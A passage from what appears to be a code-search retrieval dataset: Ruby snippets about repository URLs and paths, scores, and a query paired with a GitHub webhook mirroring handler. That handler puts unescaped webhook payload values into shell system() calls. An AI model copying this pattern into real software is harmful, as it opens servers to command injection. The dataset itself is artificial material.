create_url(keyword)\n base_url = 'https://yandex.ru/search/xml?'\n tail_url = '&groupby=attr%3Dd.mode%3Ddeep.groups-on-page%3D100.docs-in-group%3D1'\n query_url = URI.encode_www_form([['user', @user], ['key', @key], ['query', keyword], ['lr', @region]])\n\n base_url + query_url + tail_url\n end", "def release_path\n @config[:remote_path]\n end", "def repo_root; end", "def match_params\n /([^\\s\\:]+)\\s*\\/\\s*([^\\s\\.git]+)/.match(self.url)\n end", "def json_key(payload)\n File.join(\n 'repositories',\n payload.fetch(:data, :account, :name, 'default'),\n 'repository.json'\n )\n end", "def remote_buildparams(host, build)\n params_file = build.config_to_yaml\n params_file_name = File.basename(params_file)\n params_dir = rand_string\n rsync_to(params_file, host, \"/tmp/#{params_dir}/\")\n \"/tmp/#{params_dir}/#{params_file_name}\"\nend", "def method_repo_config_url\n \"https://portal.firecloud.org/#methods/#{self.identifier}/configs/#{self.configuration_identifier}\"\n end", "def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end", "def read_repository_info\n repository_url = File.open(@repository_conf).gets.chomp\n name = repository_url.split(\"/\").last.split(\".\").first\n return {\n :url => repository_url,\n :name => name,\n :container_prefix => container_prefix(name),\n :path => \"#{@work_dir}/#{name}\",\n }.freeze\n end", "def get_repo_dir(param_index)\n repo_dir = get_next_parameter(param_index)\n $options[:repo_dir] = Pathname.new( repo_dir ) unless repo_dir.nil?\nend", "def permalink_repository\n @permalink_repository ||= begin\n self.class.permalink_options[:repository] == false ? nil : ::Permalink\n end\n end", "def build_path(target_word)\n # debugger\n source_to_target_path = [target_word]\n current_word = target_word\n prev_word = @all_seen_words[current_word]\n\n until prev_word.nil?\n source_to_target_path.unshift(prev_word)\n current_word = prev_word\n prev_word = @all_seen_words[current_word]\n end\n @path = source_to_target_path\n @path\n end", "def mirror\n puts \"## Mirror\"\n @config = Ow2mirror::Config.new(@workspace, @name)\n @config.load_attributes\n\n puts \"- Mirroring repositories for project #{@name}...\"\n repositories.each do |repository|\n puts \" - Mirroring repository #{repository}...\"\n mirror_repository(repository['name'])\n end\n end", "def search_path=(search_path); end", "def search_path=(search_path); end", "def canonical_repository_url\n \"https://#{@settings.host}/scm/#{attributes[:repository_namespace]}/#{attributes[:repository_name]}.git\"\n end", "def url_pattern\n %r{\n (?:^|\\W) # beginning of string or non-word char\n (?:(#{qualifier_regex})(?:\\s))? # qualifier (optional)\n https://github.com/\n (#{REPOSITORY_NAME}) # repository name\n /(?:issues|pulls)/\n (\\d+) # issue number\n (?=\n \\.+[ \\t]| # dots followed by space or non-word character\n \\.+$| # dots at end of line\n [^0-9a-zA-Z_.]| # non-word character except dot\n $ # end of line\n )\n }ix\n end", "def get_remote_repository_name\n return @registry_server + \"/\" + @repository_name\n end", "def repo_dir; end", "def validate_repository_path(attribute=:root_url)\n super(attribute)\n end", "def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n \n # If no match, use the first repository as the default\n settings.repositories.first\n end", "def append_url(paths, key = nil, save_path = false)\n lambda do |release, links|\n link_names = links.map { |link| link.content.delete('/') }\n repositories = []\n paths.each do |path|\n next unless link_names.include?(path)\n\n repository = {\n url: \"#{release[:url]}#{path}/\"\n }\n repository[:repo_url] = \"#{release[:url]}#{path}\" if save_path\n repository[key] = path if key\n repositories << repository\n end\n repositories\n end\n end", "def repo_path\n @path\n end", "def remote_path_for(package)\n File.join(path, package.trigger)\n end", "def remote_repository\n \"http://www.aQute.biz/repo\"\n end", "def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n\n # If no match, use the first repository as the default.\n settings.repositories.first\n end", "def repository_url(repositiory)\n http_uri + repositiory.path\n end", "def repo_path\n @repo.dirstate.copy_map[@path] || @path\n end", "def build_path\n end", "def get_repository_template(name)\n %Q(\n @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#>.\n @prefix rep: <http://www.openrdf.org/config/repository#>.\n @prefix sr: <http://www.openrdf.org/config/repository/sail#>.\n @prefix sail: <http://www.openrdf.org/config/sail#>.\n @prefix sys: <http://www.openrdf.org/config/repository#> .\n @prefix ns: <http://www.openrdf.org/config/sail/native#>.\n\n _:#{name}{\n [] a rep:Repository ;\n rep:repositoryID \"#{name}\" ;\n rdfs:label \"Metadata and Annotations for #{name} collection\" ;\n rep:repositoryImpl [\n rep:repositoryType \"openrdf:SailRepository\" ;\n sr:sailImpl [\n sail:sailType \"openrdf:NativeStore\" ;\n ns:tripleIndexes \"spoc,posc\"\n ]\n ].\n }\n {\n _:#{name} a sys:RepositoryContext .\n }\n )\n end", "def url\n type = File.directory?(file) ? \"tree\" : \"raw\"\n name = file.path.split('/').last\n %{#{upstream}/#{type}/#{branch}/#{folder_name}/#{name}}\n end", "def repository_name\n config['image']\n end", "def build_footer_locations(repo, version)\n @footer_dynamic\n .gsub('NAME', repo_human(repo))\n .gsub('VERSIONS', version.to_s)\n .gsub('REPO', repo)\n .strip\nend", "def reverse_proxy_path\n splitter = /(.)/.match(@reverse_proxy_path)[0] == '/' ? '' : '/'\n star_suffix = /(\\*)/.match(@reverse_proxy_path).nil? ? '/*' : ''\n \"#{splitter}#{@reverse_proxy_path}#{star_suffix}\"\n end", "def repository_url=(repository_url)\n return false if @repository_url.nil?\n @repository_url = repository_url\n @config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].text = repository_url\n @config = @config_doc.to_s\n update\n end", "def description\n repo.config[\"branch.#{branch_name}.description\"]\n end", "def project_channel(target)\n e = @bot.config['redmine_urls.projectmap'].find {|c| c =~ /^#{target}:/ }\n e.gsub(/^#{target}:/, '') unless e.nil?\n end", "def source\n return BASE_SOURCE_URL + '/' + repo_id unless path_extension\n BASE_SOURCE_URL + '/' + repo_id + '/' + path_extension.sub(%r{^\\s*/}, '').sub(%r{/\\s*$}, '')\n end", "def url_placeholders\n {\n path: @dir,\n basename: @basename,\n output_ext: output_ext,\n }\n end", "def parse_repository(\n base_url, auth, key, product, product_version, packages, full_url, comparison_template, log, logger, *steps\n )\n # Recursively go through the site and apply steps on each level\n result = steps.reduce([{ url: base_url }]) do |releases, step|\n next_releases = Workers.map(releases) do |release|\n begin\n links = get_directory_links(release[:url], logger, auth)\n rescue StandardError => e\n error_and_log(\"Unable to get information from link '#{release[:url]}',\"\\\n \" message: '#{e.message}'\", log, logger)\n next\n end\n apply_step_to_links(step, links, release)\n end\n filter_releases(next_releases.flatten, product_version)\n end\n result = remove_corrupted_releases(result, packages, full_url, auth, comparison_template)\n add_key_and_product_to_releases(result, key, product)\n end", "def repository\n @options[:repository]\n end", "def repository\n @options[:repository]\n end", "def recipe_path(recipe_name, target_name=recipe_name, mode=0700)\r\n _package_.build_recipe(target_name, recipe_name, mode)\r\n target_path target_name\r\n end", "def remote_path(options = {})\n config = imageversionable.class.config\n namespace = config.env['namespace']\n deployed_to = (config.env['deployed_to'].nil?) ? '' : config.env['deployed_to'] + '/'\n label = (self.label.blank? || options[:orig]) ? '' : \"_#{self.label}\"\n ext = options[:orig] ? original.extension : extension\n imageversionable.class.to_s.underscore.pluralize.downcase << \"/#{namespace}/#{deployed_to}#{imageversionable.id}#{label}.#{ext}\"\n end", "def expand_placeholders(text)\n text \\\n .gsub(\"REPO_NAME\", repo_name) \\\n .gsub(\"BRANCH_NAME\", @branch_name) \\\n .gsub(\"FILE_NAMES\", @file_names) \\\n .gsub(\"FILE_DIFFS\", @file_diffs)\n end", "def repository_display\n if ENV['EAD'].present?\n if File.directory?(Rails.root.join(ENV['EAD']))\n return ENV['EAD'].split(\"\\/\")[-1]\n else\n return ENV['EAD'].split(\"\\/\")[-2]\n end\n end\n end", "def url_placeholders\n {\n :path => @dir,\n :basename => basename,\n :output_ext => output_ext,\n }\n end", "def get_repo_info path=\".\", shell=nil\n defaults = {:type => @scm, :url => @url, :path => path}\n\n defaults.merge self.class.get_info(path, shell)\n end", "def target_repo\n # TODO: Enable possibility to manually override this and set arbitrary repositories.\n source_repo\n end", "def build_path\n @path_values.inject(base_value){|uri,path| uri.merge URI::Generic.build(path: path) }.path\n end", "def repo_url\n \"#{fetch(:maven_endpoint)}/#{maven_repository}/\"\n end", "def repository_key\n @repository_name ? @repository_name.to_sym : derived_name.to_sym\n end", "def mirrors\n unless @mirrors\n @mirrors = [Buildr.settings.user, Buildr.settings.build].inject([]) { |repos, hash|\n repos | Array(hash['repositories'] && hash['repositories']['mirrors'])\n }\n end\n @mirrors\n end", "def resolve_prop(text)\n if text == '${project.version}'\n return @version\n elsif text.include? '$' and match = @@param_pattern.match(text)\n key, _ = match.captures\n return @props.fetch(key)\n end\n\n return text\n end", "def post_repo_target(repo_target)\n repo_target= {\n \"name\"=>nil, \n \"contentClass\"=>\"maven2\", \n \"patterns\"=>[]\n }.merge(repo_target)\n request = {\"data\"=>repo_target}\n post(\"#{url_base}/repo_targets\", request)[\"data\"]\n end", "def uri_to_repo(uri)\n\tparsed = URI.parse(uri)\n\tnew_uri = parsed.to_s\n\tnew_uri.gsub!(\"https\", \"http\") if parsed.scheme == \"https\"\n\tnew_uri.chop! if new_uri[-1] == \"/\"\n\tif @bigboy.value?(new_uri)\n\t\tputs \"\\nThe repo for \" + \"#{ARGV[0]} \".green + \"is \" + \"#{@bigboy.key(new_uri)}\".red\n\telsif @bigboy.values.flatten.include?(new_uri)\n\t\tarrays = @bigboy.values.select { |n| n.is_a?(Array) }\n\t\tmatches = arrays.select { |n| n.include?(new_uri) }\n\t\tputs \"\\nThe repo for \" + \"#{ARGV[0]} \".green + \"is \" + \"#{@bigboy.key(matches.flatten)}\".red\n\telse \n\t\tputs \"\\nSorry, I can't find that URI.\".magenta\n\tend\nend", "def build_path\n @build_path ||= \"#{@ant_path}/#{@config[:build_name]}\"\n end", "def github_url(ruby_doc)\n version, file, line = ruby_doc.source_location.split(\":\")\n\n if version == MASTER\n path = File.join version, file\n else\n github_version = version.tr(\".\", \"_\")\n path = File.join \"v#{github_version}\", file\n end\n\n URI.join(GITHUB_REPO, path, \"#L#{line}\").to_s\n end", "def artifact_directory_url\n [\n fetch(:maven_endpoint),\n maven_repository,\n *fetch(:maven_group_id).split('.'),\n fetch(:maven_artifact_name),\n fetch(:maven_artifact_version)\n ].join('/')\n end", "def replace_docker_pull(wdl_filename)\n %(\\nsed -i \"s|docker:.*|docker: \\\\\"$#{IMAGE_ID_VAR}\\\\\"|g\" #{wdl_filename}\\n)\n end", "def destination\n @destination ||= shared_path + \"/#{@repository_cache}\"\n end", "def repository_url=(repository_url)\n return false if @repository_url.nil?\n @repository_url = repository_url\n @config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].text = repository_url\n @config = @config_doc.to_s\n update\n end", "def expand_build_settings(string, configuration)\n return nil if string.nil?\n\n search_position = 0\n string = string.clone\n\n while (matches = /\\$\\(([^(){}]*)\\)|\\$\\{([^(){}]*)\\}/.match(string, search_position))\n original_macro = matches[1] || matches[2]\n delimiter_length = 3 # $() or ${}\n delimiter_offset = 2 # $( or ${\n search_position = string.index(original_macro) - delimiter_offset\n\n if (m = /^(.+):(.+)$/.match original_macro)\n macro_name = m[1]\n modifier = m[2]\n else\n macro_name = original_macro\n end\n\n expanded_macro = expanded_build_setting macro_name, configuration\n\n search_position += original_macro.length + delimiter_length and next if expanded_macro.nil?\n\n # From the Apple dev portal when creating a new app ID:\n # You cannot use special characters such as @, &, *, ', \"\n # From trial and error with Xcode, it appears that only letters, digits and hyphens are allowed.\n # Everything else becomes a hyphen, including underscores.\n expanded_macro.gsub!(/[^A-Za-z0-9-]/, '-') if modifier == \"rfc1034identifier\"\n\n string.gsub!(/\\$\\(#{original_macro}\\)|\\$\\{#{original_macro}\\}/, expanded_macro)\n search_position += expanded_macro.length\n end\n\n # HACK: When matching against an xcconfig, as here, sometimes the macro is just returned\n # without delimiters as the entire string or as a path component, e.g. TARGET_NAME or\n # PROJECT_DIR/PROJECT_NAME/BridgingHeader.h.\n string = string.split(\"/\").map do |component|\n next component unless component =~ /^[A-Z0-9_]+$/\n expanded_build_setting(component, configuration) || component\n end.join(\"/\")\n\n string\n end", "def container_repository_name_regex\n @container_repository_regex ||= %r{\\A[a-z0-9]+((?:[._/]|__|[-])[a-z0-9]+)*\\Z}\n end", "def url_for_fetching\n server = Settings.git_server(url)\n if server.mirror.present?\n url.gsub(%r{(git@|https://).*?(:|/)}, server.mirror)\n else\n url\n end\n end", "def remote_descs(options = {})\n\t\t\tlkp_src = ENV[\"LKP_SRC\"] || File.dirname(File.dirname File.realpath $PROGRAM_NAME)\n\n\t\t\toptions[:project] ||= '*'\n\t\t\toptions[:remote] ||= '*'\n\n\t\t\tremotes = {}\n\n\t\t\tDir[File.join(lkp_src, \"repo\", options[:project], options[:remote])].each do |file|\n\t\t\t\tremote = File.basename file\n\t\t\t\tnext if remote == 'DEFAULTS'\n\n\t\t\t\tdefaults = File.dirname(file) + '/DEFAULTS'\n\t\t\t\tremotes[remote] = load_yaml_merge [defaults, file]\n\t\t\tend\n\n\t\t\tremotes\n\t\tend", "def get_config_file_project_name\n @metadata[\"short_dest_repo_name\"]\n end", "def changeRepositoryPath(iRepositoryPath)\n @WEACEInstallDir = \"#{iRepositoryPath}/Install\"\n @DefaultLogDir = \"#{iRepositoryPath}/Log\"\n end", "def nexus_url(url)\n File.join(configuration['url'], url)\n end", "def find(*pattern)\n pattern = pattern.join('*')\n pattern << '*' unless pattern =~ /\\*$/\n \n packages = []\n @repositories.select{|label,_| @active.include? label }.each do |label, repos|\n repos.each do |repo|\n packages.concat(repo.scan(pattern))\n end\n end\n packages\n end", "def to_build_rel pn\n pn.relative_path_from(build_dir)\n end", "def remote\n unless mirrors.empty?\n info \"Remote repositories overridden by mirrors #{mirrors.map(&:to_s).join(\", \")}\"\n mirrors\n end\n unless @remote\n @remote = [Buildr.settings.user, Buildr.settings.build].inject([]) { |repos, hash|\n repos | Array(hash['repositories'] && hash['repositories']['remote'])\n }\n end\n @remote\n end" ]
[ "0.51905787", "0.4863092", "0.48016113", "0.47350195", "0.47256953", "0.4716721", "0.4687411", "0.46648857", "0.4656888", "0.4625272", "0.46233362", "0.4597609", "0.4588955", "0.450325", "0.45013463", "0.44999027", "0.4498575", "0.4486967", "0.4459705", "0.44430637", "0.44391033", "0.4425424", "0.4425424", "0.44170728", "0.44099098", "0.44038457", "0.43911606", "0.43897405", "0.43831882", "0.43652278", "0.4361808", "0.43557566", "0.43450752", "0.43400732", "0.43278962", "0.43277347", "0.4316208", "0.42993626", "0.4296699", "0.4293351", "0.42883793", "0.42831576", "0.42831576", "0.42792478", "0.4277294", "0.42740625", "0.42692584", "0.42558265", "0.4243817", "0.42412862", "0.4229078", "0.4211365", "0.42053604", "0.41923103", "0.41896158", "0.41869268", "0.4178011", "0.41672066", "0.41653687", "0.4164761", "0.4162063", "0.41611153", "0.4160831", "0.41607106", "0.41286367", "0.41286045", "0.41240892", "0.41233063", "0.41175497", "0.41175497", "0.4117514", "0.41154373", "0.41123554", "0.41090128", "0.41065705", "0.4100032", "0.40975094", "0.40838674", "0.4083263", "0.4081297", "0.40792492", "0.4078243", "0.40775758", "0.40771222", "0.40767443", "0.40764487", "0.4076265", "0.40705", "0.4061784", "0.40613675", "0.40467092", "0.40454793", "0.40444544", "0.40378767", "0.40377146", "0.4037217", "0.4030353", "0.40300566", "0.40288466", "0.40212744" ]
0.5798709
0
Handle request from Github, return always success response, but write an error message in body if an error raised
def handle_request raise GithubMirrorError, 'Only POST request allowed' unless @request.post? # return fail message if request is not a POST raise GithubMirrorError, 'Token not match' if config['token'] && !@request.path_info.end_with?('/' + config['token']) payload = JSON.parse(@request[:payload]) rescue raise(GithubMirrorError, 'Payload param need to be present and a valid JSON string') # get informations about repository repository_owner = payload['repository']['owner']['name'] rescue raise(GithubMirrorError, 'Repository owner name required') repository_name = payload['repository']['name'] rescue raise(GithubMirrorError, 'Repository name required') repository_private = payload['repository']['private'] == '1' ? true : false # check if repository can be mirrored unless repository_info(repository_owner, repository_name).allowed raise(GithubMirrorError, "Repository #{repository_owner}/#{repository_name} is not allowed to be mirrored") end # generate url (for private or public project) if repository_private repository_url = "git@github.com:#{repository_owner}/#{repository_name}.git" else repository_url = "git://github.com/#{repository_owner}/#{repository_name}.git" end # get mirror path repository_path = mirror_path(repository_owner, repository_name) # clone repository if mirror doesn't exist unless File.exist?(repository_path) system("git clone --mirror --origin github_mirroring #{repository_url} #{repository_path}") # fetch repository if mirror already exist else if `cd #{repository_path}; git remote` !~ /github_mirroring/ system("cd #{repository_path}; git remote add --mirror github_mirroring #{repository_url}") end system("cd #{repository_path}; git fetch github_mirroring") end # end @response.write 'done' rescue GithubMirrorError => e @response.write "fail: #{e.message}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_github_response\n Retriable.retriable(retry_options) do\n yield\n end\n rescue MovedPermanentlyError => e\n fail_with_message(e, \"The repository has moved, update your configuration\")\n rescue Octokit::Forbidden => e\n fail_with_message(e, \"Exceeded retry limit\")\n rescue Octokit::Unauthorized => e\n fail_with_message(e, \"Error: wrong GitHub token\")\n end", "def handle_request\n \n # Send status 404 when no payload is supplied\n payload = @req.POST[\"payload\"]\n return rude_comment if payload.nil?\n @payload = JSON.parse(payload)\n\n # Open git repository and pull updates\n @git = Git.open(@repository_path)\n @git.pull\n\n # Get plugins and package them\n stats = @git.diff(@payload['before'], @payload['after']).stats\n parse_stats(stats).each { |name| package_plugin(name) }\n \n # Cool, there we go\n return nice_comment\n\n end", "def github_check\n begin\n unless github.blank?\n RestClient.get \"https://github.com/#{github}\"\n end\n rescue\n errors.add :base, \"Invalid Github account.\"\n end\n end", "def github_response(client, id)\n return @response if defined?(@response)\n @response = github_client_request(client, id) || github_classroom_request(id)\n @response ||= null_github_object\n end", "def api_call(path)\n url = \"https://api.github.com#{path}\"\n url << \"?access_token=#{ENV['GITHUB_API_TOKEN']}\" if ENV['GITHUB_API_TOKEN']\n resp = get(url)\n if resp.code.to_i != 200\n nil\n else\n data = resp.body\n JSON.parse(data)\n end\nend", "def stub_get_github_request(code: 200, fixture: \"2010-01-14-example-post.md\")\n stub_request(:get, %r{api.github.com/repos/.*/micropub-github-pages})\n .to_return(\n status: code, headers: {\"Content-Type\" => \"application/json\"},\n body: JSON.generate(\n object: {sha: \"aa218f56b14c9653891f9e74264a383fa43fefbd\"},\n commit: {\n tree: {sha: \"6dcb09b5b57875f334f61aebed695e2e4193db5e\"}\n },\n sha: \"d735c3364cacbda4a9631af085227ce200589676\",\n content: Base64.encode64(File.read(\"test/fixtures/#{fixture}\")),\n path: \"_post/#{fixture}\",\n total_count: 1,\n items: [{\n name: \"example-post.md\",\n path: \"_post/#{fixture}\",\n sha: \"d735c3364cacbda4a9631af085227ce200589676\"\n }]\n )\n )\nend", "def github_client_request(client, id, **options)\n GitHub::Errors.with_error_handling { client.send(github_type, id, options) }\n rescue GitHub::Error\n nil\n end", "def perform\n git.if_clean do\n check_out_branch\n merge_pull_request\n comment_about_merge\n end\n rescue => e\n case e\n when GitHub::PullRequest::NotFound\n cli.say \"Unable to find pull request #{pull_request_id}. Please retry with a valid ID.\"\n when Git::MergeFailed\n cli.say \"Merge failed. Please identify the source of this merge conflict resolve this conflict in your pull request's branch. NOTE: Merge conflicts resolved in the #{branch_type} branch are NOT used when deploying.\"\n when Git::CheckoutFailed\n cli.say \"Checkout of #{branch_to_merge_into} failed. Please contact Infrastructure to determine the cause.\"\n when GitHub::PullRequest::CommentFailed\n cli.say \"Unable to write comment. Please navigate to #{pull_request.url} and add the comment, '#{comment_body}'\"\n else\n cli.say \"An unknown error occurred: #{e.inspect}\"\n end\n raise\n end", "def response body=nil, status=nil\n return @current.response unless body\n\n response.status status || 200\n response.body body\n throw :done\n end", "def handleHTTPStatus(code)\n case code\n when 200 # Ok\n puts \"HTTP request successful\"\n return true\n when 204\n puts \"HTTP Error: No Content\"\n return false\n when 401\n puts \"HTTP Error: Server rejected authentication.\"\n return false\n else\n puts \"Unhandled HTTP status: #{code}\"\n return false\n end # case code\n end", "def handler\n Proc.new do |response|\n case response.code\n when 200..204\n response\n when 400\n raise Jiralicious::TransitionError.new(response.inspect)\n when 404\n raise Jiralicious::IssueNotFound.new(response.inspect)\n else\n raise Jiralicious::JiraError.new(response.inspect)\n end\n end\n end", "def handle_status_code(req)\n case req.code\n when 200..204; return\n when 400; raise ResponseError.new req\n when 401; raise ResponseError.new req\n else raise StandardError\n end\n end", "def handle_response(response)\n begin\n if ok?(response.code)\n if response.body.present?\n parse_response_body(response.body)\n else\n true # blank body\n end\n else\n Rails.logger.error \"Unexpected response #{response.code}, not sure what to do here...\"\n response.message\n end\n rescue => e\n # don't report, just return\n response.message\n end\n end", "def octokit_error_as_status(type)\n yield\n rescue Octokit::ClientError => e\n Rails.logger.error(e) # log error for further debugging if it's not 404.\n {\n state: \"missing\",\n statuses: [{\n context: \"Reference\", # for releases/show.html.erb\n state: \"missing\",\n description: \"Unable to get commit #{type}.\",\n updated_at: Time.now # needed for #cache_duration\n }]\n }\n end", "def test()\n # Search tag for the test\n search_tag = \"herml\"\n # All errors\n errors = []\n # Get the spidering results\n results = @github_api.spider(search_tag)\n # Check if we have any errors\n if(results[:total_hits] == 0 && results[:total_pages] == 0)\n errors << self.class.name + \": No hits found (#{results[:total_hits]}) and no pages recorded (#{results[:total_pages]})\"\n else\n # Ok let's fetch the first project (should be heml)\n projects = @github_api.process_page(search_tag, 1)\n if(projects.length == 0)\n errors << self.class.name + \": No projects correctly parsed\"\n else\n # get the first project\n project = projects[0]\n # Check if the project is correct\n #project = {:author => author, :description => description, :url => url, :metadata => metadata, :hash_value => project_md5_hash, :updates => [], :downloads => []}\n if(project[:author].nil? || project[:description].nil? || project[:url].nil? || project[:metadata].nil? || project[:hash_value].nil? || project[:updates].length == 0 || project[:downloads].length == 0)\n errors << self.class.name + \": Project not being parsed correctly (including possibly updates/downloads)\"\n else\n update = project[:updates][0]\n download = project[:downloads][0]\n # Check each of these\n #{:author => commit_author, :updated_at => updated_at, :title => commit_message, :download_link => \"\", :hash_value => commit_md5_hash}\n if(update[:author].nil? || update[:updated_at].nil? || update[:title].nil? || update[:download_link].nil? || update[:hash_value].nil?)\n errors << self.class.name + \": Project Update not being parsed correctly\"\n end\n\n #{:author => \"\", :updated_at => updated_at, :title => description, :download_link => url, :hash_value => download_md5_hash, :version => version}\n if(download[:author].nil? || download[:updated_at].nil? || download[:title].nil? || download[:download_link].nil? || download[:hash_value].nil? || download[:version].nil?)\n errors << self.class.name + \": Project Download not being parsed correctly\" \n end\n end\n end\n end\n # Return all the errors\n return errors\n end", "def call(params)\n if params.valid?\n self.body = repos_page\n else\n self.status = 404\n self.body = '[]'\n end\n end", "def handle_response(response)\n response.body if response.success?\n end", "def submit_issue\n if params[:description] == ''\n redirect_to :back, flash: { error: 'Please fill out all required fields.' }\n else\n response = GithubInterface.send_issue(params)\n if response.code == '201'\n redirect_to root_path, flash: { success: 'Issue submitted successfully.' }\n else\n redirect_to root_path, flash: { error: JSON.parse(response.body)['message'] }\n end\n end\n end", "def handle_response(resp, head_instead: false)\n case resp.code\n when 200, 201\n head_instead ? resp.headers : JSON.parse(resp.body)\n when 202, 204\n true\n when 400\n raise BadRequest, resp\n when 401\n raise NotAllowed, resp\n when 403\n raise NotAuthorized, resp\n when 404\n raise NotFound, resp\n else\n if resp.code >= 500\n raise ServerError, resp\n else\n raise Error, resp\n end\n end\n end", "def get(path)\n with_retry do\n url = \"http://github.com/api/#{API_VERSION}/#{FORMAT}#{path}\"\n debug \"GET #{url}\"\n response = HTTParty.get(url, default_http_options)\n debug response.code\n debug response.body\n debug\n response\n end\n end", "def check_response!\n body[:stat] == 'ok' || fail(ClientError, \"#{ body.inspect }\")\n end", "def generate_error(args, response)\n \n puts \"Error!\"\n puts response.body\n exit 1\n\nend", "def not_found\n status 404\n body \"not found\\n\"\n end", "def not_found\n status 404\n body \"not found\\n\"\n end", "def not_found\n status 404\n body \"not found\\n\"\n end", "def dropbox_post_json(url, headers: {}, payload: nil)\n raise ArgumentError, \"missing keyword: payload\" unless payload\n\n dropbox_post(url, headers: headers, payload: payload) do |response|\n JSON.parse(response.body).tap do |json|\n unless summary = json[\"error_summary\"]\n log { \" SUCCESS\" }\n\n return yield json\n end\n\n log { \" ERROR (code: #{summary})\" }\n\n case summary\n when %r{path/conflict/file}\n raise APIError, \"The specified file already exists remotely.\"\n when /access_denied/\n raise APIError, \"Access to the request path is forbidden.\"\n when /invalid_access_token/\n raise APIError, \"Invalid access token.\"\n when /not_found/\n raise NotFoundError, \"Dropbox cannot find the specified file. Has it finished syncing?\"\n when /shared_link_already_exists/\n raise APIError, \"A shared link already exists for the specified file.\"\n else\n raise APIError, \"Error (code: #{summary})\"\n end\n end\n end\n end", "def format_response_or_raise_error response\n if response.status / 100 == 2\n response.body\n elsif response.status == 404\n raise Unloq::APIError::NotFoundError.new(response.status, response.body)\n else\n raise Unloq::APIError.new(response.status, response.body)\n end\n end", "def github_webhook\n payload = JSON.parse(params[:payload])\n requested_branch = payload['ref'].split('/').last\n branch_is_valid = @project.git? && @project.watched_branches.include?(requested_branch)\n if branch_is_valid\n revision = payload['after']\n other_fields = { description: 'github webhook', user_id: current_user.id }\n CommitCreator.perform_once @project.id, revision, other_fields: other_fields\n end\n respond_to do |format|\n format.json do\n render status: :ok, json: { success: branch_is_valid }\n end\n end\n end", "def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend", "def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend", "def inspector_could_not_create_report(error, query, inspector)\n puts(\"Could not access the GitHub API, you may have better luck via the website.\")\n puts(\"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/search?q=#{query}&type=Issues&utf8=✓\")\n puts(\"Error: #{error.name}\")\n end", "def get_json(url)\n JSON.parse(Net::HTTP.get(URI(url)))\nrescue StandardError => e\n puts \"Could not fetch notes from the GitHub API (#{e})\"\nend", "def execute_request_uri(uri)\n req = Net::HTTP::Get.new(uri.request_uri)\n req.add_field('Authorization', \"token #{@github_token}\")\n req.add_field('User-Agent', 'Custom Ruby Script from exo-swf@exoplatform.com')\n https = Net::HTTP.new(uri.host, uri.port)\n # to debug HTTP request\n #https.set_debug_output($stdout)\n https.use_ssl = true\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = https.start() {|http|\n http.get uri.request_uri\n http.request(req)\n }\n\n case response\n when Net::HTTPRedirection\n # repeat the request using response['Location']\n when Net::HTTPSuccess\n repo_info = JSON.parse response.body\n else\n # response code isn't a 200; raise an exception\n response.error!\n end\n\n data = response.body\n\n # we convert the returned JSON data to native Ruby\n # data structure - a hash\n return JSON.parse(data)\n end", "def handle_error (url, res)\n puts \"#{url} was not found\" if res.code.to_i == 404\n puts \"#{url} requires authorization\" if res.code.to_i == 401\n puts \"#{url} returns an application error\" if res.code.to_i == 500\nend", "def mock_success\n head :ok\n end", "def rubygems_valid_response?(http, url)\n url.include?(RubygemsApi::BASE_URL) && http_valid_status_code?(http, [200, 404])\n end", "def github_service_response_headers\n {\"Content-Type\" => \"application/json\"}\n end", "def handle_response(res)\n # relogin if needed\n return relogin if should_relogin(res)\n\n check_unauthorized(res.status, res.env.url.to_s)\n check_not_found(res.status)\n check_not_success(res.status)\n handle_success(res.body) do |json_body|\n yield(json_body) if block_given?\n end\n end", "def fetch_ref(repo_user,repo_name, ref_name)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/git/#{ref_name}\")\n body = response_body(uri)\n if body.instance_of? Array\n body\n elsif body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n puts \"WARNING unexpected body = #{body}\"\n []\n end\n end", "def handle_bad_request\n make_response(400, {message: 'Bad request (invalid input)'})\nend", "def return_error_or_body(response, response_body)\n if response.status == 200\n response_body\n else\n raise Getty::APIError.new(response.status, response.body)\n end\n end", "def handle_response(result)\n unless result.success\n #if result.error_class\n # TODO needs to be constantized first (see TODO in lib/rjr/message)\n # raise result.error_class.new(result.error_msg) unless result.success\n #else\n fail result.error_msg\n #end\n end\n return result.result\n end", "def api_request_raw(url, media_type = '')\n\n begin\n start_time = Time.now\n\n contents = do_request(url, media_type)\n total = Time.now.to_ms - start_time.to_ms\n info \"Successful request. URL: #{url}, Remaining: #{@remaining}, Total: #{total} ms\"\n\n contents\n rescue OpenURI::HTTPError => e\n @remaining = e.io.meta['x-ratelimit-remaining'].to_i\n @reset = e.io.meta['x-ratelimit-reset'].to_i\n\n case e.io.status[0].to_i\n # The following indicate valid Github return codes\n when 400, # Bad request\n 403, # Forbidden\n 404, # Not found\n 409, # Conflict -- returned on gets of empty repos\n 422 then # Unprocessable entity\n warn request_error_msg(url, e)\n return nil\n when 401 # Unauthorized\n warn request_error_msg(url, e)\n warn \"Unauthorised request with token: #{@token}\"\n raise e\n when 451 # DMCA takedown\n warn request_error_msg(url, e)\n warn \"Repo was taken down (DMCA)\"\n return nil\n else # Server error or HTTP conditions that Github does not report\n warn request_error_msg(url, e)\n raise e\n end\n rescue StandardError => e\n warn error_msg(url, e)\n raise e\n ensure\n # The exact limit is only enforced upon the first @reset\n # No idea how many requests are available on this key. Sleep if we have run out\n if @remaining < @req_limit\n to_sleep = @reset - Time.now.to_i + 2\n warn \"Request limit reached, reset in: #{to_sleep} secs\"\n t = Thread.new do\n slept = 0\n while true do\n debug \"Sleeping for #{to_sleep - slept} 